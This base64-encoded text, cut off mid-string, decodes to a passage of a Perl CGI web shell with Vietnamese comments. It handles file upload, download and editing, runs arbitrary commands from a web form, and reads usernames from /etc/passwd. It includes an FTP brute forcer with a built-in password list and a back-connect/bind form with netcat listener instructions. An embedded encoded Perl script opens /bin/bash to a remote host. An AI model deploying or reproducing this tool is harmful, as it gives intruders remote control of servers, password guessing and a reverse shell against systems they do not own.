IHN0YXJ0cyB0aGUgdXBsb2FkIHByb2Nlc3MuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgVXBsb2FkRmlsZQ0Kew0KCSMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSB1cGxvYWQgZm9ybSBhZ2Fpbg0KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpDQoJew0KCQlyZXR1cm4gJlByaW50RmlsZVVwbG9hZEZvcm07DQoNCgl9DQoJbXkgJHJlc3VsdD0iIjsNCgkjIHN0YXJ0IHRoZSB1cGxvYWRpbmcgcHJvY2Vzcw0KCSRyZXN1bHQgLj0gIlVwbG9hZGluZyAkVHJhbnNmZXJGaWxlIHRvICRDdXJyZW50RGlyLi4uPGJyPiI7DQoNCgkjIGdldCB0aGUgZnVsbGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBjcmVhdGVkDQoJY2hvcCgkVGFyZ2V0TmFtZSkgaWYgKCRUYXJnZXROYW1lID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87DQoJJFRyYW5zZmVyRmlsZSA9fiBtIShbXi9eXFxdKikkITsNCgkkVGFyZ2V0TmFtZSAuPSAkUGF0aFNlcC4kMTsNCg0KCSRUYXJnZXRGaWxlU2l6ZSA9IGxlbmd0aCgkaW57J2ZpbGVkYXRhJ30pOw0KCSMgaWYgdGhlIGZpbGUgZXhpc3RzIGFuZCB3ZSBhcmUgbm90IHN1cHBvc2VkIHRvIG92ZXJ3cml0ZSBpdA0KCWlmKC1lICRUYXJnZXROYW1lICYmICRPcHRpb25zIG5lICJvdmVyd3JpdGUiKQ0KCXsNCgkJJHJlc3VsdCAuPSAiRmFpbGVkOiBEZXN0aW5hdGlvbiBmaWxlIGFscmVhZHkgZXhpc3RzLjxicj4iOw0KCX0NCgllbHNlICMgZmlsZSBpcyBub3QgcHJlc2VudA0KCXsNCgkJaWYob3BlbihVUExPQURGSUxFLCAiPiRUYXJnZXROYW1lIikpDQoJCXsNCgkJCWJpbm1vZGUoVVBMT0FERklMRSkgaWYgJFdpbk5UOw0KCQkJcHJpbnQgVVBMT0FERklMRSAkaW57J2ZpbGVkYXRhJ307DQoJCQljbG9zZShVUExPQURGSUxFKTsNCgkJCSRyZXN1bHQgLj0gIlRyYW5zZmVyZWQgJFRhcmdldEZpbGVTaXplIEJ5dGVzLjxicj4iOw0KCQkJJHJlc3VsdCAuPSAiRmlsZSBQYXRoOiAkVGFyZ2V0TmFtZTxicj4iOw0KCQl9DQoJCWVsc2UNCgkJew0KCQkJJHJlc3VsdCAuPSAiRmFpbGVkOiAkITxicj4iOw0KCQl9DQoJfQ0KCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUuIElmIHRoZQ0KIyBmaWxlbmFtZSBpcyBub3Qgc3BlY2lmaWVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gYWxsb3dpbmcgdGhlIHVzZXIgdG8gc3BlY2lmeSBhDQojIGZpbGUsIG90aGVyd2lzZSBpdCBkaXNwbGF5cyBhIG1lc3NhZ2UgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluaw0KIyB0aHJvdWdoICB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBEb3dubG9hZEZpbGUNCnsNCgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgZG93bmxvYWQgZm9ybSBhZ2Fpbg0KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpDQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7DQoJCXJldHVybiAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOw0KCX0NCgkNCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkDQoJaWYoKCRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8ICghJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXC8vKSkpICMgcGF0aCBpcyBhYnNvbHV0ZQ0KCXsNCgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOw0KCX0NCgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQ0KCXsNCgkJY2hvcCgkVGFyZ2V0RmlsZSkgaWYoJFRhcmdldEZpbGUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsNCgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsNCgl9DQoNCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQ0KCXsNCgkJcmV0dXJuICZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7DQoJfQ0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlDQoJew0KCQlyZXR1cm4gJlByaW50RG93bmxvYWRMaW5rUGFnZSgkVGFyZ2V0RmlsZSk7DQoJfQ0KfQ0KDQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gZXhlY3V0ZSBjb21tYW5kcy4gSXQgZGlzcGxheXMgdGhlIG91dHB1dCBvZiB0aGUNCiMgY29tbWFuZCBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGFub3RoZXIgY29tbWFuZC4gVGhlIGNoYW5nZSBkaXJlY3RvcnkNCiMgY29tbWFuZCBpcyBoYW5kbGVkIGRpZmZlcmVudGx5LiBJbiB0aGlzIGNhc2UsIHRoZSBuZXcgZGlyZWN0b3J5IGlzIHN0b3JlZCBpbg0KIyBhbiBpbnRlcm5hbCB2YXJpYWJsZSBhbmQgaXMgdXNlZCBlYWNoIHRpbWUgYSBjb21tYW5kIGhhcyB0byBiZSBleGVjdXRlZC4gVGhlDQojIG91dHB1dCBvZiB0aGUgY2hhbmdlIGRpcmVjdG9yeSBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQgdG8gdGhlIHVzZXJzDQojIHRoZXJlZm9yZSBlcnJvciBtZXNzYWdlcyBjYW5ub3QgYmUgZGlzcGxheWVkLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEV4ZWN1dGVDb21tYW5kDQp7DQoJbXkgJHJlc3VsdD0iIjsNCglpZigkUnVuQ29tbWFuZCA9fiBtL15ccypjZFxzKyguKykvKSAjIGl0IGlzIGEgY2hhbmdlIGRpciBjb21tYW5kDQoJew0KCQkjIHdlIGNoYW5nZSB0aGUgZGlyZWN0b3J5IGludGVybmFsbHkuIFRoZSBvdXRwdXQgb2YgdGhlDQoJCSMgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkLg0KCQkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuImNkICQxIi4kQ21kU2VwLiRDbWRQd2Q7DQoJCWNob3AoJEN1cnJlbnREaXIgPSBgJENvbW1hbmRgKTsNCgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCg0KCQkkcmVzdWx0IC49ICJDb21tYW5kOiA8cnVuPiRSdW5Db21tYW5kIDwvcnVuPjxicj48dGV4dGFyZWEgY29scz0nJGNvbHMnIHJvd3M9JyRyb3dzJyBzcGVsbGNoZWNrPSdmYWxzZSc+IjsNCgkJIyB4dWF0IHRob25nIHRpbiBraGkgY2h1eWVuIGRlbiAxIHRodSBtdWMgbmFvIGRvIQ0KCQkkUnVuQ29tbWFuZD0gJFdpbk5UPyJkaXIiOiJkaXIgLWxpYSI7DQoJCSRyZXN1bHQgLj0gJlJ1bkNtZDsNCgl9ZWxzaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqZWRpdFxzKyguKykvKQ0KCXsNCgkJJHJlc3VsdCAuPSAgJlNhdmVGaWxlRm9ybTsNCgl9ZWxzZQ0KCXsNCgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZDwvcnVuPjxicj48dGV4dGFyZWEgaWQ9J2RhdGEnIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7DQoJCSRyZXN1bHQgLj0mUnVuQ21kOw0KCX0NCgkkcmVzdWx0IC49ICAiPC90ZXh0YXJlYT4iOw0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIHJ1biBjb21tYW5kDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQoNCnN1YiBSdW5DbWQNCnsNCglteSAkcmVzdWx0PSIiOw0KCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4kUnVuQ29tbWFuZC4kUmVkaXJlY3RvcjsNCglpZighJFdpbk5UKQ0KCXsNCgkJJFNJR3snQUxSTSd9ID0gXCZDb21tYW5kVGltZW91dDsNCgkJYWxhcm0oJENvbW1hbmRUaW1lb3V0RHVyYXRpb24pOw0KCX0NCglpZigkU2hvd0R5bmFtaWNPdXRwdXQpICMgc2hvdyBvdXRwdXQgYXMgaXQgaXMgZ2VuZXJhdGVkDQoJew0KCQkkfD0xOw0KCQkkQ29tbWFuZCAuPSAiIHwiOw0KCQlvcGVuKENvbW1hbmRPdXRwdXQsICRDb21tYW5kKTsNCgkJd2hpbGUoPENvbW1hbmRPdXRwdXQ+KQ0KCQl7DQoJCQkkXyA9fiBzLyhcbnxcclxuKSQvLzsNCgkJCSRyZXN1bHQgLj0gJkh0bWxTcGVjaWFsQ2hhcnMoIiRfXG4iKTsNCgkJfQ0KCQkkfD0wOw0KCX0NCgllbHNlICMgc2hvdyBvdXRwdXQgYWZ0ZXIgY29tbWFuZCBjb21wbGV0ZXMNCgl7DQoJCSRyZXN1bHQgLj0gJkh0bWxTcGVjaWFsQ2hhcnMoJyRDb21tYW5kJyk7DQoJfQ0KCWlmKCEkV2luTlQpDQoJew0KCQlhbGFybSgwKTsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQojIEZvcm0gU2F2ZSBGaWxlIA0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0Kc3ViIFNhdmVGaWxlRm9ybQ0Kew0KCW15ICRyZXN1bHQgPSIiOw0KCXN1YnN0cigkUnVuQ29tbWFuZCwwLDUpPSIiOw0KCW15ICRmaWxlPSZ0cmltKCRSdW5Db21tYW5kKTsNCgkkc2F2ZT0nPGJyPjxpbnB1dCBuYW1lPSJhIiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJzYXZlIiBjbGFzcz0ic3VibWl0IiA+JzsNCgkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kUnVuQ29tbWFuZDsNCglteSAkZGlyPSI8c3BhbiBzdHlsZT0nZm9udDogMTFwdCBWZXJkYW5hOyBmb250LXdlaWdodDogYm9sZDsnPiIuJkFkZExpbmtEaXIoImd1aSIpLiI8L3NwYW4+IjsNCglpZigtdyAkRmlsZSkNCgl7DQoJCSRyb3dzPSIyMyINCgl9ZWxzZQ0KCXsNCgkJJG1zZz0iPGJyPjxmb250IHN0eWxlPSdmb250OiAxNXB0IFZlcmRhbmE7IGNvbG9yOiB5ZWxsb3c7JyA+IFBlcm1pc3Npb24gZGVuaWVkITxmb250Pjxicj4iOw0KCQkkcm93cz0iMjAiDQoJfQ0KCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiPGZvbnQgY29sb3I9JyNGRkZGRkYnPlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJDwvZm9udD4gIjsNCgkkcmVhZD0oJFdpbk5UKT8idHlwZSI6Imxlc3MiOw0KCSRSdW5Db21tYW5kID0gIiRyZWFkIFwiJFJ1bkNvbW1hbmRcIiI7DQoJJHJlc3VsdCAuPSAgPDxFTkQ7DQoJPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQoNCgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPg0KCSRQcm9tcHQNCgk8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNDAiIG5hbWU9ImMiPg0KCTxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFbnRlciI+DQoJPGJyPkNvbW1hbmQ6IDxydW4+ICRSdW5Db21tYW5kIDwvcnVuPg0KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZpbGUiIHZhbHVlPSIkZmlsZSIgPiAkc2F2ZSA8YnI+ICRtc2cNCgk8YnI+PHRleHRhcmVhIGlkPSJkYXRhIiBuYW1lPSJkYXRhIiBjb2xzPSIkY29scyIgcm93cz0iJHJvd3MiIHNwZWxsY2hlY2s9ImZhbHNlIj4NCkVORA0KCQ0KCSRyZXN1bHQgLj0gJlJ1bkNtZDsNCgkkcmVzdWx0IC49ICAiPC90ZXh0YXJlYT4iOw0KCSRyZXN1bHQgLj0gICI8L2Zvcm0+IjsNCglyZXR1cm4gJHJlc3VsdDsNCn0NCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCiMgU2F2ZSBGaWxlDQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQpzdWIgU2F2ZUZpbGUoJCkNCnsNCglteSAkRGF0YT0gc2hpZnQgOw0KCW15ICRGaWxlPSBzaGlmdDsNCgkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kRmlsZTsNCglpZihvcGVuKEZJTEUsICI+JEZpbGUiKSkNCgl7DQoJCWJpbm1vZGUgRklMRTsNCgkJcHJpbnQgRklMRSAkRGF0YTsNCgkJY2xvc2UgRklMRTsNCgkJcmV0dXJuIDE7DQoJfWVsc2UNCgl7DQoJCXJldHVybiAwOw0KCX0NCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgQnJ1dGUgRm9yY2VyIEZvcm0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBCcnV0ZUZvcmNlckZvcm0NCnsNCglteSAkcmVzdWx0PSIiOw0KCSRyZXN1bHQgLj0gPDxFTkQ7DQoNCjx0YWJsZT4NCg0KPHRyPg0KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjPGJyPg0KU2ltcGxlIEZUUCBicnV0ZSBmb3JjZXI8YnI+DQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KDQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYnJ1dGVmb3JjZXIiLz4NCjwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPlVzZXI6PGJyPjx0ZXh0YXJlYSByb3dzPSIxOCIgY29scz0iMzAiIG5hbWU9InVzZXIiPg0KRU5EDQpjaG9wKCRyZXN1bHQgLj0gYGxlc3MgL2V0Yy9wYXNzd2QgfCBjdXQgLWQ6IC1mMWApOw0KJHJlc3VsdCAuPSA8PCdFTkQnOw0KPC90ZXh0YXJlYT48L3RkPg0KPHRkPg0KDQpQYXNzOjxicj4NCjx0ZXh0YXJlYSByb3dzPSIxOCIgY29scz0iMzAiIG5hbWU9InBhc3MiPjEyM3Bhc3MNCjEyMyFAIw0KMTIzYWRtaW4NCjEyM2FiYw0KMTIzNDU2YWRtaW4NCjEyMzQ1NTQzMjENCjEyMzQ0MzIxDQpwYXNzMTIzDQphZG1pbg0KYWRtaW5jcA0KYWRtaW5pc3RyYXRvcg0KbWF0a2hhdQ0KcGFzc2FkbWluDQpwQHNzd29yZA0KcEBzc3cwcmQNCnBhc3N3b3JkDQoxMjM0NTYNCjEyMzQ1NjcNCjEyMzQ1Njc4DQoxMjM0NTY3ODkNCjEyMzQ1Njc4OTANCjExMTExMQ0KMDAwMDAwDQoyMjIyMjINCjMzMzMzMw0KNDQ0NDQ0DQo1NTU1NTUNCjY2NjY2Ng0KNzc3Nzc3DQo4ODg4ODgNCjk5OTk5OQ0KMTIzMTIzDQoyMzQyMzQNCjM0NTM0NQ0KNDU2NDU2DQo1Njc1NjcNCjY3ODY3OA0KNzg5Nzg5DQoxMjMzMjENCjQ1NjY1NA0KNjU0MzIxDQo3NjU0MzIxDQo4NzY1NDMyMQ0KOTg3NjU0MzIxDQowOTg3NjU0MzIxDQphZG1pbjEyMw0KYWRtaW4xMjM0NTYNCmFiY2RlZg0KYWJjYWJjDQohQCMhQCMNCiFAIyQlXg0KIUAjJCVeJiooDQohQCMkJCNAIQ0KYWJjMTIzDQphbmh5ZXVlbQ0KaWxvdmV5b3U8L3RleHRhcmVhPg0KPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQgY29sc3Bhbj0iMiIgYWxpZ249ImNlbnRlciI+DQpTbGVlcDo8c2VsZWN0IG5hbWU9InNsZWVwIj4NCg0KPG9wdGlvbj4wPC9vcHRpb24+DQo8b3B0aW9uPjE8L29wdGlvbj4NCjxvcHRpb24+Mjwvb3B0aW9uPg0KDQo8b3B0aW9uPjM8L29wdGlvbj4NCjwvc2VsZWN0PiANCjxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJzdWJtaXQiIHZhbHVlPSJCcnV0ZSBGb3JjZXIiLz48L3RkPjwvdHI+DQo8L2Zvcm0+DQo8L3RhYmxlPg0KRU5EDQpyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgQnJ1dGUgRm9yY2VyDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQnJ1dGVGb3JjZXINCnsNCglteSAkcmVzdWx0PSIiOw0KCSRTZXJ2ZXI9JEVOVnsnU0VSVkVSX0FERFInfTsNCglpZigkaW57J3VzZXInfSBlcSAiIikNCgl7DQoJCSRyZXN1bHQgLj0gJkJydXRlRm9yY2VyRm9ybTsNCgl9ZWxzZQ0KCXsNCgkJdXNlIE5ldDo6RlRQOyANCgkJQHVzZXI9IHNwbGl0KC9cbi8sICRpbnsndXNlcid9KTsNCgkJQHBhc3M9IHNwbGl0KC9cbi8sICRpbnsncGFzcyd9KTsNCgkJY2hvbXAoQHVzZXIpOw0KCQljaG9tcChAcGFzcyk7DQoJCSRyZXN1bHQgLj0gIjxicj48YnI+WytdIFRyeWluZyBicnV0ZSAkU2VydmVyTmFtZTxicj49PT09PT09PT09PT09PT09PT09PT4+Pj4+Pj4+Pj4+Pjw8PDw8PDw8PDw9PT09PT09PT09PT09PT09PT09PTxicj48YnI+XG4iOw0KCQlmb3JlYWNoICR1c2VybmFtZSAoQHVzZXIpDQoJCXsNCgkJCWlmKCEoJHVzZXJuYW1lIGVxICIiKSkNCgkJCXsNCgkJCQlmb3JlYWNoICRwYXNzd29yZCAoQHBhc3MpDQoJCQkJew0KCQkJCQkkZnRwID0gTmV0OjpGVFAtPm5ldygkU2VydmVyKSBvciBkaWUgIkNvdWxkIG5vdCBjb25uZWN0IHRvICRTZXJ2ZXJOYW1lXG4iOyANCgkJCQkJaWYoJGZ0cC0+bG9naW4oIiR1c2VybmFtZSIsIiRwYXNzd29yZCIpKQ0KCQkJCQl7DQoJCQkJCQkkcmVzdWx0IC49ICI8YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0nZnRwOi8vJHVzZXJuYW1lOiRwYXNzd29yZFxAJFNlcnZlcic+WytdIGZ0cDovLyR1c2VybmFtZTokcGFzc3dvcmRcQCRTZXJ2ZXI8L2E+PGJyPlxuIjsNCgkJCQkJCSRmdHAtPnF1aXQoKTsNCgkJCQkJCWJyZWFrOw0KCQkJCQl9DQoJCQkJCWlmKCEoJGlueydzbGVlcCd9IGVxICIwIikpDQoJCQkJCXsNCgkJCQkJCXNsZWVwKGludCgkaW57J3NsZWVwJ30pKTsNCgkJCQkJfQ0KCQkJCQkkZnRwLT5xdWl0KCk7DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJCSRyZXN1bHQgLj0gIlxuPGJyPj09PT09PT09PT0+Pj4+Pj4+Pj4+IEZpbmlzaGVkIDw8PDw8PDw8PDw9PT09PT09PT09PGJyPlxuIjsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEJhY2tjb25uZWN0IEZvcm0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBCYWNrQmluZEZvcm0NCnsNCglyZXR1cm4gPDxFTkQ7DQoJPGJyPjxicj4NCg0KCTx0YWJsZT4NCgk8dHI+DQoJPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQoJPHRkPkJhY2tDb25uZWN0OiA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYmFja2JpbmQiPjwvdGQ+DQoJPHRkPiBIb3N0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIG5hbWU9ImNsaWVudGFkZHIiIHZhbHVlPSIkRU5WeydSRU1PVEVfQUREUid9Ij4NCgkgUG9ydDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjciIG5hbWU9ImNsaWVudHBvcnQiIHZhbHVlPSI4MCIgb25rZXl1cD0iZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2JhJykuaW5uZXJIVE1MPXRoaXMudmFsdWU7Ij48L3RkPg0KDQoJPHRkPjxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkNvbm5lY3QiPjwvdGQ+DQoJPC9mb3JtPg0KCTwvdHI+DQoJPHRyPg0KCTx0ZCBjb2xzcGFuPTM+PGZvbnQgY29sb3I9I0ZGRkZGRj5bK10gQ2xpZW50IGxpc3RlbiBiZWZvcmUgY29ubmVjdCBiYWNrIQ0KCTxicj5bK10gVHJ5IGNoZWNrIHlvdXIgUG9ydCB3aXRoIDxhIHRhcmdldD0iX2JsYW5rIiBocmVmPSJodHRwOi8vd3d3LmNhbnlvdXNlZW1lLm9yZy8iPmh0dHA6Ly93d3cuY2FueW91c2VlbWUub3JnLzwvYT4NCgk8YnI+WytdIENsaWVudCBsaXN0ZW4gd2l0aCBjb21tYW5kOiA8cnVuPm5jIC12diAtbCAtcCA8c3BhbiBpZD0iYmEiPjgwPC9zcGFuPjwvcnVuPjwvZm9udD48L3RkPg0KDQoJPC90cj4NCgk8L3RhYmxlPg0KDQoJPGJyPjxicj4NCgk8dGFibGU+DQoJPHRyPg0KCTxmb3JtIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KCTx0ZD5CaW5kIFBvcnQ6IDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJiYWNrYmluZCI+PC90ZD4NCg0KCTx0ZD4gUG9ydDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjE1IiBuYW1lPSJjbGllbnRwb3J0IiB2YWx1ZT0iMTQxMiIgb25rZXl1cD0iZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2JpJykuaW5uZXJIVE1MPXRoaXMudmFsdWU7Ij4NCg0KCSBQYXNzd29yZDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjE1IiBuYW1lPSJiaW5kcGFzcyIgdmFsdWU9IlRISUVVR0lBQlVPTiI+PC90ZD4NCgk8dGQ+PGlucHV0IG5hbWU9InMiIGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0IiB2YWx1ZT0iQmluZCI+PC90ZD4NCgk8L2Zvcm0+DQoJPC90cj4NCgk8dHI+DQoJPHRkIGNvbHNwYW49Mz48Zm9udCBjb2xvcj0jRkZGRkZGPlsrXSBDaHVjIG5hbmcgY2h1YSBkYyB0ZXN0IQ0KCTxicj5bK10gVHJ5IGNvbW1hbmQ6IDxydW4+bmMgJEVOVnsnU0VSVkVSX0FERFInfSA8c3BhbiBpZD0iYmkiPjE0MTI8L3NwYW4+PC9ydW4+PC9mb250PjwvdGQ+DQoNCgk8L3RyPg0KCTwvdGFibGU+PGJyPg0KRU5EDQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEJhY2tjb25uZWN0IHVzZSBwZXJsDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQmFja0JpbmQNCnsNCgl1c2UgTUlNRTo6QmFzZTY0Ow0KCXVzZSBTb2NrZXQ7CQ0KCSRiYWNrcGVybD0iSXlFdmRYTnlMMkpwYmk5d1pYSnNEUXAxYzJVZ1NVODZPbE52WTJ0bGREc05DaVJUYUdWc2JBazlJQ0l2WW1sdUwySmhjMmdpT3cwS0pFRlNSME05UUVGU1IxWTdEUXAxYzJVZ1UyOWphMlYwT3cwS2RYTmxJRVpwYkdWSVlXNWtiR1U3RFFwemIyTnJaWFFvVTA5RFMwVlVMQ0JRUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z1oyVjBjSEp2ZEc5aWVXNWhiV1VvSW5SamNDSXBLU0J2Y2lCa2FXVWdjSEpwYm5RZ0lsc3RYU0JWYm1GaWJHVWdkRzhnVW1WemIyeDJaU0JJYjNOMFhHNGlPdzBLWTI5dWJtVmpkQ2hUVDBOTFJWUXNJSE52WTJ0aFpHUnlYMmx1S0NSQlVrZFdXekZkTENCcGJtVjBYMkYwYjI0b0pFRlNSMVpiTUYwcEtTa2diM0lnWkdsbElIQnlhVzUwSUNKYkxWMGdWVzVoWW14bElIUnZJRU52Ym01bFkzUWdTRzl6ZEZ4dUlqc05DbkJ5YVc1MElDSkRiMjV1WldOMFpXUWhJanNOQ2xOUFEwdEZWQzArWVhWMGIyWnNkWE5vS0N